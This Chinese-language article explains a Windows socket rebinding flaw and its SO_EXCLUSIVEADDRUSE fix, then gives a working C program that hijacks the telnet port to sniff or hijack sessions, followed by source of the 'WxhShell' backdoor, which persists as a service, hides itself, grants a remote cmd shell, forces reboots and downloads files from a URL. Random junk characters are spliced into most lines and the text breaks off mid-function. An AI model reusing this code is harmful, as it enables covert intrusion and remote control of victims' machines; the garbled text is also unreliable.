在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l'n"iQ!G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`6koQZm ;0( |06= saddr.sin_family = AF_INET;
rTT Uhd hdJW#,xq saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/MKcS%/H/ V\r!H>
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7'\<\oT
g+|1khS) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
fl*]ua }"BXqh"\` 这意味着什么?意味着可以进行如下的攻击:
gf7%vyMo$ tYK
5?d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
JK34pm[s }t#uSz^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
FWcE\;%yVg {{w5F2b((% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
gBGUGjVj ^cB83%<Z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:t+XW`eQR: ^3C8GzOsO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
AAUFX/}8P A
J<Sa= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6 Ty;m>j ?G%C}8a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Ml VN'w 'F.Da#st!} #include
^u`1W^> #include
*f{\ze@5= #include
,\ [R\s #include
U[1Rw6 DWORD WINAPI ClientThread(LPVOID lpParam);
\7o&'zEw int main()
9bd $mp {
Y@N-q WORD wVersionRequested;
sw
A^oU DWORD ret;
jz ;N&62| WSADATA wsaData;
HE#IJB6BS? BOOL val;
2ZW
{ SOCKADDR_IN saddr;
f*U3s N^y SOCKADDR_IN scaddr;
%>u(UmFO int err;
KPc`5X SOCKET s;
U7i WYdt$ SOCKET sc;
Hz39v44 int caddsize;
0<Q['l4Ar HANDLE mt;
}}L :6^ DWORD tid;
If[4]-dq wVersionRequested = MAKEWORD( 2, 2 );
~~,] b err = WSAStartup( wVersionRequested, &wsaData );
(Ubz@s^ if ( err != 0 ) {
^ z!g3 printf("error!WSAStartup failed!\n");
D>neY9 return -1;
SbS*z: }
VrDSN saddr.sin_family = AF_INET;
.)J7 \z8m u*LMpTnn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;>YLL}]j WrJgU&H{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
eW%Cef saddr.sin_port = htons(23);
g:&YSjO>G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&5k$v^W5 {
Itaq4 ^CE printf("error!socket failed!\n");
5eS0
B{,c return -1;
CWF(OMA }
;nS.t_UW. val = TRUE;
gp@X(d //SO_REUSEADDR选项就是可以实现端口重绑定的
tgk] sQY if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
YQ/ {
R.nAD{>h* printf("error!setsockopt failed!\n");
dQW=k^X 'U return -1;
C]/]ot0%t }
G':wJ7[]` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
lRb|GS.h/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
v0psth?qV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&!Sq6<!v2 W&MZ5t,k= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
J)7m::%I {
rLP:kP'b ret=GetLastError();
DAYR=s printf("error!bind failed!\n");
Ss>ez8q return -1;
|AD"}8 }
B<^yT@Wc listen(s,2);
ITpo:"X g while(1)
",&^ f {
d'p]F~a caddsize = sizeof(scaddr);
Z9S5rPHEL //接受连接请求
e'"2yA8dh" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
v/ $~ifY" if(sc!=INVALID_SOCKET)
,_+Gb {
wg-qq4Q\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
OGA_3|[S if(mt==NULL)
.AHf]X0 {
al#BfcZW printf("Thread Creat Failed!\n");
=17d7#- break;
R9+0ZoS }
8s+9PE }
lk/T|0]) CloseHandle(mt);
'c]Fhe fb }
Ddu1>"p-x closesocket(s);
5B:%##Ug5 WSACleanup();
*yX5g,52-| return 0;
!]#@:Z }
TPE1}8p17 DWORD WINAPI ClientThread(LPVOID lpParam)
R_JB`HFy= {
st4WjX_Q SOCKET ss = (SOCKET)lpParam;
R%%Uw %` SOCKET sc;
/J@<e{&t~ unsigned char buf[4096];
Vv|%;5( SOCKADDR_IN saddr;
,1|Qm8O long num;
ICvl;Q DWORD val;
9K4]~_%h\ DWORD ret;
x`3F?[#l //如果是隐藏端口应用的话,可以在此处加一些判断
ab-z 7g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{e35O(Y saddr.sin_family = AF_INET;
\}Hi\k+h': saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
r$Gz saddr.sin_port = htons(23);
,_wpYTl*X if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.<fn+] {
r]+/"~a printf("error!socket failed!\n");
?:$aX@r return -1;
.5_zh;
` }
z*oeho val = 100;
,`Yx(4!rR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
fpPB_P{Ua {
s*;rt ret = GetLastError();
$c1zMkY)u return -1;
\86:f<)P }
2h;#BJ)) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a62'\wF>D {
NsJ]Tp5! ret = GetLastError();
$*\GZ$y> return -1;
/s~(? =qYH }
@r130eLh if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
c'!+]'Lr {
!_P-?u printf("error!socket connect failed!\n");
5+Ld1nom closesocket(sc);
[gkOwU=? closesocket(ss);
[<nmJ-V return -1;
(ah^</ }
}+/F?_I=
% while(1)
R9q9cBi3 {
y 1I(^<qO= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
S%6 V(L| //如果是嗅探内容的话,可以再此处进行内容分析和记录
eaWK2%v //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Z@ dS,M* num = recv(ss,buf,4096,0);
hY(q@_s if(num>0)
#qcF2&a% send(sc,buf,num,0);
EYy|JT]B else if(num==0)
}i F|NIV break;
oC
} num = recv(sc,buf,4096,0);
3vc2t6S%* if(num>0)
)b=m|A GX send(ss,buf,num,0);
XS_Ib\-50 else if(num==0)
v(GT+i)| break;
qX"m"ko }
eZbT; closesocket(ss);
By;{Y[@rS closesocket(sc);
.
g8WMm return 0 ;
zI&). }
k:yrh:JhB C"cBlru8B .4%6_`E ==========================================================
CubBD+hl* y,F|L?dIq 下边附上一个代码,,WXhSHELL
/ReOf<%B (GJX[$@ ==========================================================
6DxT(VU} pKzrdw-! #include "stdafx.h"
[ApAd @wTRoMHPQ #include <stdio.h>
5uAUi=XA>S #include <string.h>
^@-qnU lH #include <windows.h>
Y-
tK #include <winsock2.h>
0ZJN<AzbA #include <winsvc.h>
#W2#'J:l #include <urlmon.h>
=rzhaU'A' >U#j\2!Sg #pragma comment (lib, "Ws2_32.lib")
+9NI=s6 #pragma comment (lib, "urlmon.lib")
R-]i BL 'iikcf*)C #define MAX_USER 100 // 最大客户端连接数
+*=?0 \ #define BUF_SOCK 200 // sock buffer
dz"HO!9 #define KEY_BUFF 255 // 输入 buffer
{^N90,! T,uVt^.R+ #define REBOOT 0 // 重启
IuOQX} #define SHUTDOWN 1 // 关机
w<me(!-' JrJTIUf_ #define DEF_PORT 5000 // 监听端口
@D2KDV3' )#0Llx! #define REG_LEN 16 // 注册表键长度
wpepi8w, #define SVC_LEN 80 // NT服务名长度
qYbPF|Y=Z <xaB$}R // 从dll定义API
,&aD
U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
VCCG_K9' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yiAusl; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Zoyo:vv& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jx-8%dxtZ N,?D<NjXl // wxhshell配置信息
dY$jg struct WSCFG {
mF@DO$ int ws_port; // 监听端口
9
:FzSD char ws_passstr[REG_LEN]; // 口令
uTIl} N int ws_autoins; // 安装标记, 1=yes 0=no
tg%C>O char ws_regname[REG_LEN]; // 注册表键名
nTH!_S>b(Y char ws_svcname[REG_LEN]; // 服务名
InfUH8./t char ws_svcdisp[SVC_LEN]; // 服务显示名
Yvxp( char ws_svcdesc[SVC_LEN]; // 服务描述信息
-) \!@n0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|7wiwdD" int ws_downexe; // 下载执行标记, 1=yes 0=no
^#,cWG}z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(IIOVv
1J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=:pN82.G .,( ,< };
S$%Y{ ]zR,Y=
# // default Wxhshell configuration
1`I#4f struct WSCFG wscfg={DEF_PORT,
/u N3"m5i "xuhuanlingzhe",
!|;w(/ 1,
M$AQZ')9 "Wxhshell",
i'NN "Wxhshell",
pTzfc`~xv "WxhShell Service",
' $5o5\ "Wrsky Windows CmdShell Service",
GcA!I!j/ "Please Input Your Password: ",
a&~]77) 1,
)`gE-udR "
http://www.wrsky.com/wxhshell.exe",
#^;^_ "Wxhshell.exe"
8-
]7>2?_ };
(??|\
&DTi sow/JLlbC // 消息定义模块
&`A2&mZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Co^a$K char *msg_ws_prompt="\n\r? for help\n\r#>";
D[iIj_CKQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
"G m:M char *msg_ws_ext="\n\rExit.";
0CS80
pC char *msg_ws_end="\n\rQuit.";
^jMo?Zwy char *msg_ws_boot="\n\rReboot...";
+gsk}>" char *msg_ws_poff="\n\rShutdown...";
DU:
sQS4 char *msg_ws_down="\n\rSave to ";
d8T,33>T #p^r)+\3= char *msg_ws_err="\n\rErr!";
g+iV0bbT char *msg_ws_ok="\n\rOK!";
`%M}
:T QWWoj[d# char ExeFile[MAX_PATH];
NurbioFL int nUser = 0;
j[o5fr)L HANDLE handles[MAX_USER];
q;a#?Du o int OsIsNt;
DUK.-|a7 ;q&\>u: SERVICE_STATUS serviceStatus;
UZUG?UUM SERVICE_STATUS_HANDLE hServiceStatusHandle;
ds9`AiCW> 3`aJ"qQE // 函数声明
,*$/2nB^ int Install(void);
tXIre-. 2} int Uninstall(void);
Oz1ou[8k int DownloadFile(char *sURL, SOCKET wsh);
%1p4K) int Boot(int flag);
^. i;, void HideProc(void);
MB,P#7| int GetOsVer(void);
07dUBoq int Wxhshell(SOCKET wsl);
PX1Scvi void TalkWithClient(void *cs);
dLek4q
`l int CmdShell(SOCKET sock);
XT5Vo int StartFromService(void);
4$+9k;m' int StartWxhshell(LPSTR lpCmdLine);
<AB.`[" T6ZJ SKM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,-XJ@@2gM VOID WINAPI NTServiceHandler( DWORD fdwControl );
V6ioQx=K# NR)[,b\v // 数据结构和表定义
CQcb !T SERVICE_TABLE_ENTRY DispatchTable[] =
<#9zc'ED: {
i#~1|2 {wscfg.ws_svcname, NTServiceMain},
~Zd n#z\ {NULL, NULL}
d4P0f'.z };
5}4MXI4 TIa`cU` // 自我安装
(u
>:G6K int Install(void)
kty,hAXe {
= *A_{u;E char svExeFile[MAX_PATH];
rHtT>UE= HKEY key;
C9}2F{8 strcpy(svExeFile,ExeFile);
PHa#;6!5 r} ~l( // 如果是win9x系统,修改注册表设为自启动
dkQA[/k if(!OsIsNt) {
nA]dQ+5sT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
BVC{Zq6hi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Fq5);sX= RegCloseKey(key);
0OMyE9jJJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[]Z| *+=Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(;T;?v`- RegCloseKey(key);
1LjYV return 0;
9e Dji, }
>P=xzg79 }
TJB0O]@3 }
NwG&uc+Q else {
9CWUhS
o+O\VNW // 如果是NT以上系统,安装为系统服务
8[FC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*3<m<<>U if (schSCManager!=0)
FJ}QKDQW= {
Dg#A b8 SC_HANDLE schService = CreateService
=k[!p'~jD (
3RRZVc*
^ schSCManager,
,U'Er#U wscfg.ws_svcname,
'U)~|(\i wscfg.ws_svcdisp,
fXw%2wg SERVICE_ALL_ACCESS,
+WwQ!vWWd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\Rp)n=| SERVICE_AUTO_START,
DrltxI) SERVICE_ERROR_NORMAL,
5.|rzk> svExeFile,
_TB\@)\ NULL,
m`9)DsR
N NULL,
%'* |N[ NULL,
YS{ NULL,
,oP-:q!PC NULL
^%d+nKx9nL );
\FTvN if (schService!=0)
hP,1;`[1 {
,h]N*Z-I" CloseServiceHandle(schService);
:7Vm]xd}do CloseServiceHandle(schSCManager);
4:<0i0)5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9~,eu strcat(svExeFile,wscfg.ws_svcname);
&nn.h@zje if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$vy.BYFm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#OWwg`AWv RegCloseKey(key);
~ilbW|s?=k return 0;
(p14{ }
N"t,6tH }
JZL!(>tI CloseServiceHandle(schSCManager);
-"a+<(Y }
&,&+/Sr11 }
~.x!st} @-b}iP<T return 1;
+n MgQOs }
#K*d:W3C +d6E)~qKL // 自我卸载
rP`\<}a. int Uninstall(void)
u>S&?X'a {
]NAPvw#p HKEY key;
GN1cnM>` X\%],"9% if(!OsIsNt) {
{b<8Z*4W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)X^nzhZ2O" RegDeleteValue(key,wscfg.ws_regname);
XY4s RegCloseKey(key);
$;;?'!%. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*qb`wg RegDeleteValue(key,wscfg.ws_regname);
Op%^dwVG(v RegCloseKey(key);
u khI#:[ return 0;
1C$^S]v%a }
D}"GrY5 }
K.z}%a }
e('c9 Y else {
Tz*5;y%4
FxZ\)Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
uEi!P2zN
if (schSCManager!=0)
Uero!+_ {
ao-C9|2>NU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
mG@Q}Y( if (schService!=0)
bY>o%LL- {
2s{yg%U( if(DeleteService(schService)!=0) {
I$mOy{/# CloseServiceHandle(schService);
Ew:JpMR CloseServiceHandle(schSCManager);
XbH X,W$h return 0;
_u:#2K$ }
<![T~<. CloseServiceHandle(schService);
e;6Sj }
;JmD(T7{ CloseServiceHandle(schSCManager);
sG VC+!E }
MJg^
QVM }
E>g'! zWY6D4 return 1;
&e rNVD5o }
5;^8wh( 84knoC // 从指定url下载文件
.M!
(|KE4 int DownloadFile(char *sURL, SOCKET wsh)
i5n'f6C {
QHM39Eu] HRESULT hr;
./g0T{& char seps[]= "/";
kv5Qxj} char *token;
S$H4xkKs char *file;
&1[5b8H;+ char myURL[MAX_PATH];
Xl aNR+ char myFILE[MAX_PATH];
%eah=e lT:<ZQyjT strcpy(myURL,sURL);
cKfYkJ)A' token=strtok(myURL,seps);
m|7g{vHVV while(token!=NULL)
NFSPw`f {
AjlG_F file=token;
V+Tj[:ok token=strtok(NULL,seps);
(~OwO_|3 }
uVO9r-O8p
uo{QF5z] GetCurrentDirectory(MAX_PATH,myFILE);
=az$WRV+7! strcat(myFILE, "\\");
aFSZYyPxwv strcat(myFILE, file);
,f1wN{P send(wsh,myFILE,strlen(myFILE),0);
I&xRK' send(wsh,"...",3,0);
Q.|2/6hD7[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{'ZnxK' if(hr==S_OK)
o&AUB`.9~ return 0;
A|&EI-In else
VC+\RB#:- return 1;
_xC~44 -12v/an]L7 }
1=D!C lcb lR(&Wc\j // 系统电源模块
?SAi tQ3 int Boot(int flag)
qQ_B[?+W {
iBi/9 HANDLE hToken;
L9kP8&&KK TOKEN_PRIVILEGES tkp;
)} #r"! LH_ 2oJ\ if(OsIsNt) {
CeJ|z{F\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
A:!{+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>r*Zm2($MR tkp.PrivilegeCount = 1;
j;y|Ys)I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c1<g!Q&E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
7/1S5yUr| if(flag==REBOOT) {
?~K2&eo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:U*[s$ return 0;
fr?eOigbl }
'I~dJEW7 else {
%q Q(@TG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5R Hs return 0;
}Q=Zqlvz }
_SaK]7}m! }
Vg+SXq6G else {
{k*_'0 if(flag==REBOOT) {
qa~[fORO[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!eq]V9 return 0;
'!I?C/49k }
at*=#?M1? else {
xpxm9ySwu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
eXd(R>Mx return 0;
q-Qws0\v. }
4_Jdh48-d }
c5;ROnTm $>UzXhf}\ return 1;
-Gpj^aBU }
Dk-L4FS c`.:"i"k3 // win9x进程隐藏模块
?MYD}`Cv void HideProc(void)
la4,Z {
HA%ye"(y8 GEA;9TU|V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M($},xAvDU if ( hKernel != NULL )
>
95Cs`>d {
(`NRF6'&1L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[jw o D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
wl%1B64
FreeLibrary(hKernel);
LJy'wl }
54{"ni2a Cg
Sdyg@ return;
$VA4% 9 }
6S<$7=$= 6bGD8; // 获取操作系统版本
%awS* int GetOsVer(void)
"v1(f| a {
]G B}, OSVERSIONINFO winfo;
AE711l- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ASvPr*q/ GetVersionEx(&winfo);
6{
Nbe= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[1C#[Vla return 1;
f#~Re:7.c else
ge[i&,.&z return 0;
7N"Bbl }
["}A#cO652 Cf7\>U-> // 客户端句柄模块
M\&~ Dmd int Wxhshell(SOCKET wsl)
UjaC( c {
~^S- SOCKET wsh;
z aF0nov struct sockaddr_in client;
}WbN) DWORD myID;
Bkc-iC}F XV>6;!=E while(nUser<MAX_USER)
4m*(D5Y=| {
8j}m\^si int nSize=sizeof(client);
wM)w[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I[UA' ~f if(wsh==INVALID_SOCKET) return 1;
k%g xY% 0 `<zb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,#T3OA!c** if(handles[nUser]==0)
w8
$Qh%J'< closesocket(wsh);
O+?zn: else
%7#Zb ' nUser++;
{*<C!Qg }
>Gu0& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,NEs{!
T 3kCbD=yF return 0;
i =N\[& }
Wu( 8G h'~-K` // 关闭 socket
kZ9<j+. void CloseIt(SOCKET wsh)
<6C9R> {
j>xVy]v= | closesocket(wsh);
fWyDWU nUser--;
2.D!4+& ExitThread(0);
/8}+#h)[ }
Ye2];(M x\.i`ukx // 客户端请求句柄
>k}/$R+ void TalkWithClient(void *cs)
Y:%)cUxA {
2\{uqv Db=>7@h3C SOCKET wsh=(SOCKET)cs;
e:LZ s0 char pwd[SVC_LEN];
$ud>Z;X=P char cmd[KEY_BUFF];
1gm/{w6O char chr[1];
O&w3@9KJ? int i,j;
fVUBCu e6HlOGPVQH while (nUser < MAX_USER) {
1fW4=pF-K Rr 4CcM if(wscfg.ws_passstr) {
/]zib@i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|OZ>/l { //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
O'-Zn]@.] //ZeroMemory(pwd,KEY_BUFF);
9+I/y,aC i=0;
Nf 'dT;s.N while(i<SVC_LEN) {
YeC,@d[ Y@H,Lk // 设置超时
I`W-RWZ fd_set FdRead;
g[au-.: struct timeval TimeOut;
yvWzc
uL# FD_ZERO(&FdRead);
0DB<hpC:5 FD_SET(wsh,&FdRead);
BhW]Oq& TimeOut.tv_sec=8;
i @9Qb TimeOut.tv_usec=0;
I"sobZ` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
W}k?gg= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
P}9Y8$Y>U &JhIn%=- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0ITA3v8{ pwd
=chr[0]; E#$_uZ4
if(chr[0]==0xd || chr[0]==0xa) { pq?[ wp"
pwd=0; n,jE#Z.D
break; f=_?<I{
} IHbo w0'
i++; ~hz@9E]O
} 7e4tUAiuU
e4qk>Cw
// 如果是非法用户,关闭 socket ~5 pC$SC6>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #/t>}lc
} 92aDHECo
z]l-?>Zbg
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V87ee,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i %hn
t+!gzZ
while(1) { Ot$cmBhw!
r(1pvcWY-
ZeroMemory(cmd,KEY_BUFF); df4^C->:
CESe}^)n
// 自动支持客户端 telnet标准 Wytvs*\`
j=0; EkStb#
while(j<KEY_BUFF) { 3]`qnSYBv
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "UoCT7X
cmd[j]=chr[0]; )fd-IYi-3
if(chr[0]==0xa || chr[0]==0xd) { Rhv".epz
cmd[j]=0; 0Dm`Ek3A7x
break; !
jX+ox
} :*P___S=
j++; oyN+pFVB:$
} ccN &h
ay:\P.`5)
// 下载文件 NkA6Cp[Q,1
if(strstr(cmd,"http://")) { h`EH~ W0:z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); S?nNZW\6[
if(DownloadFile(cmd,wsh)) L\:YbS~]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^mgI%_?1
else U.pr} hq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @0UwI%.
} 8?j&{G
else { ;sL6#Go?V
}U?gKlLg
switch(cmd[0]) { p21=$?k!;
}GNkB
// 帮助 |P. =
case '?': { n$hqNsM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HV*:<2P%D
break; vN0L(B
} `FYtiv?G
// 安装 Ng."+&
case 'i': { XU;{28P
if(Install()) L^5&GcHP0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @}&,W
N%
else uD ?I>7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U=c5zrs
break; ^b"x|8
} OP|.I._I
// 卸载 vbWJhjK0h
case 'r': { o]|oAN9
if(Uninstall()) lrmt)BLoh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f>s#Ngvc
else C NzSBm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cy&
break; (}*\ {
} F;?TR[4!k
// 显示 wxhshell 所在路径 (EOec5qXU
case 'p': { Lt;.Nw
char svExeFile[MAX_PATH]; ~4=]%XYz
strcpy(svExeFile,"\n\r"); ,<;l"v(
strcat(svExeFile,ExeFile); M 5T=Fj86
send(wsh,svExeFile,strlen(svExeFile),0); :\1rQT
break; 2\nBqCxR
} uGP[l`f|FQ
// 重启 X|-v0 f
case 'b': { (5Z8zNH`3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \]f5
if(Boot(REBOOT)) mJGO)u&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V(lK`dY
else { GG@I!2,_
closesocket(wsh); YoV^xl6g
ExitThread(0); t3
uB
} e-%7F]e
break; ;Xfd1
} xI`Uk8- 8
// 关机 rnMG0
case 'd': { <<7,kfR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r6oX6.c
if(Boot(SHUTDOWN)) uGuc._}=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xP{HjONu
else { {*M>X}voS
closesocket(wsh); `eMrP`
ExitThread(0); 1BMV=_
} 0^<Skm27"
break; ~!3t8Hx6
} [0% yJH
// 获取shell NSMjr_
case 's': { R
(tiIo
CmdShell(wsh); :c~9>GCE&
closesocket(wsh); PSP1>-7)w
ExitThread(0); Zzw}sZ?8
break; 5(iSOsb
} IKMsY5i
// 退出 AND7jEn
case 'x': { R\9>2*w
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dT0^-XSY
CloseIt(wsh); {~j /XB
break; aWHd}%
} 2p$n*|T&c
// 离开 \yJZvhUk
case 'q': { Hl^aUp.c
send(wsh,msg_ws_end,strlen(msg_ws_end),0); M&|sR+$^
closesocket(wsh); S4l)TtY
WSACleanup(); 2|0Je^$|
exit(1); ;H7EB`
break; %K&+~CJE
} %mK3N2N$
} 8~&F/C*
} 6pM"h5hA
W\I$`gyC/
// 提示信息
Z #.GI
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i#L6UKe:Q
} _9Dn\=g
} "jl1.Ah
{&\J)oZ
return; @K,2mhE~h
} pTa'.m
nu4Pc
// shell模块句柄 otWo^CE$
int CmdShell(SOCKET sock) G]L0eV
{ ) >>u|#@z
STARTUPINFO si; 92P,:2`a
ZeroMemory(&si,sizeof(si)); ppwd-^f3j
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i>ESEmb-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >VRo|o<D
PROCESS_INFORMATION ProcessInfo; g)=V#Bglv
char cmdline[]="cmd"; 4'+d"Ok
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T4V[RN
return 0; 96.IuwL*.s
} _N>wzkJ
kN'|,eKH4
// 自身启动模式 w;N{>)hv
int StartFromService(void) w"fCI13
{ +}Kk2Kg8
typedef struct a6;gBoV
{ 4u3 \xR?w6
DWORD ExitStatus; )HJK '@
DWORD PebBaseAddress; z{Hz;m:*_
